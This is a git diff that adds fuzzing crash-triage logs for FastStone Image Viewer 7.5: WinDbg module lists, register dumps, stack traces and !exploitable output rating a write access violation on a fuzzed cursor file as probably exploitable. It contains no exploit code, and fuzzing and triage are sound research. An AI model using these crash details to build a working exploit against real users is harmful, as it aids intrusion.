C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(6cc.694): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=07cc2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.95102e+022 -1.21847e-010 1.30967e-011 -5.56208e+013 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003cf000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003cf000 f400acd4 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003cf000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d85d562 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6CC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6CC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(6cc.694): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=07cc2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.95102e+022 -1.21847e-010 1.30967e-011 -5.56208e+013 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003cf000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003cf000 f400acd4 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003cf000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37345/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5f83f84 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..6e7fcde --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A90: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A90: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll 